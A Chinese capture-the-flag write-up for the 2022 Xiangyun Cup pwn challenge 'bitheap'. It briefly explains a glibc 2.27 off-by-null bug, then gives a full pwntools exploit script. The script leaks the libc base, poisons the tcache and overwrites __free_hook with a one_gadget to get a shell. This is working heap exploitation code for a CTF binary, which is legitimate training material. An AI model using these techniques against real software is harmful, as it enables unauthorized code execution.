祥云杯2022 pwn - bitheap

祥云杯2022 pwn - bitheap

2.27下的off-by-one，其实也可以看成off-by-null

需要注意的是d60这个函数，经过调试之后可以得知传入的内容需要使用二进制来表示，所以就写了一个decode

def decode(x):
	return bin(x)[2:].rjust(64)[::-1]

接下来就是板子直接套 2.27的off-by-null

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './bitheap'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def decode(x):
 return bin(x)[2:].rjust(64)[::-1]

menu = 'Your choice: '

def add(index, size):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Index: ', str(index))
    r.sendlineafter('Size: ', str(size))

def edit(index, content):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index: ', str(index))
    r.sendafter('Content: ', content)

def show(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Index: ', str(index))

def delete(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Index: ', str(index))

for i in range(7):
    add(i, 0xf8)    #0 - 6

add(7, 0xf8)
add(8, 0x88)
add(9, 0xf8)
add(10, 0x10)

for i in range(8):
    delete(i)

edit(8, '1' * 0x80 * 8 + decode(0x190) + '\x00')

delete(9)

for i in range(7):
    add(i, 0xf8)

add(7, 0xf8)

show(8)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./2.27-3ubuntu1.6_amd64/libc-2.27.so')

libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))

one = [0x4f2a5, 0x4f302, 0x10a2fc]
one_gadget = libc_base + one[1]

add(11, 0xf8)
delete(8)

edit(11, decode(free_hook))
add(8, 0xf8)
add(12, 0xf8)

edit(12, decode(one_gadget))
delete(0)

r.interactive()